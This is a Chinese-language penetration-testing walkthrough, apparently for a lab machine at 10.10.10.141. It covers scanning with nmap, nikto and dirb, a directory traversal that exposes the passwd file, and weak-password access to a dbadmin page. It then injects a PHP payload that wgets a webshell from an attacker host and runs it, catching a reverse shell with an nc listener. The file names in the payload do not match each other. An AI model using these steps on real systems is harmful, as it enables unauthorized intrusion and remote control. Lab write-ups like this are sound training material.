目录遍历(拿到www-data用户权限)
常规探测:nmap dirb nikto
nmap -A -T4 -v
或者
nmap -sV -p- -O -T4 -v -oX 141.xml 10.10.10.141
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 5.9p1 Debian 5ubuntu1.10 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.2.22 ((Ubuntu))
111/tcp open rpcbind 2-4 (RPC #100000)
60412/tcp open status 1 (RPC #100024)
nikto -host http://10.10.10.141
dirb 扫描发现
---- Scanning URL: http://10.10.10.141/ ----
+ http://10.10.10.141/cgi-bin/ (CODE:403|SIZE:288)
==> DIRECTORY: http://10.10.10.141/css/
==> DIRECTORY: http://10.10.10.141/dbadmin/ #猜到可能是一个数据库管理的页面
==> DIRECTORY: http://10.10.10.141/img/
+ http://10.10.10.141/index (CODE:200|SIZE:7970)
+ http://10.10.10.141/index.html (CODE:200|SIZE:7970)
==> DIRECTORY: http://10.10.10.141/js/
+ http://10.10.10.141/LICENSE (CODE:200|SIZE:1094)
+ http://10.10.10.141/package (CODE:200|SIZE:789)
+ http://10.10.10.141/server-status (CODE:403|SIZE:293)
+ http://10.10.10.141/tools (CODE:200|SIZE:8355)
==> DIRECTORY: http://10.10.10.141/vendor/
+ http://10.10.10.141/view (CODE:200|SIZE:0)
利用owasp-zap、acunetix等对网站进行漏洞扫描,发现一个目录遍历漏洞
在浏览器中访问,居然出现passwd内容。
说明对目录是可读的。
如果发现路径遍历漏洞,则考虑:上传webshell,利用路径遍历漏洞执行webshell,反射启动meterpreter
常见字符的Url编码列表:
! | * | " | ' | ( | ) | ; | : | @ | & |
%21 | %2A | %22 | %27 | %28 | %29 | %3B | %3A | %40 | %26 |
= | + | $ | , | / | ? | % | # | [ | ] |
%3D | %2B | %24 | %2C | %2F | %3F | %25 | %23 | %5B | %5D |
敏感页面:dbadmin,一般考虑弱口令登录:数字123456 字母admin
进入系统后台,查找可以写入webshell的点
webshell:一般可以采用系统自带的,/usr/share/webshells/php/php-reverse-shell.php
复制一份php-reverse-shell.php改名为shell.php,修改其中的反射IP地址和端口号(4444)
在dbadmin管理界面中:
新建数据库:shell.php 新建数据表格:shell, 新建字段:shell 类型text,在其中输入命令如下:
<?php system("cd /tmp;wget http://IP/wenshell.php;chmod +x webshell.php; php webshell.php") ?>
创建服务器端的用于靶场下载对应webshell:
python -m “SimpleHTTPServer” web的跟目录即为当前启动目录,其中有shell.php
攻击机上启动监听:nc -nlvp 端口号
最后:利用路径遍历漏洞,在浏览器中访问刚才创建的shell.php数据库(要给出路径全名)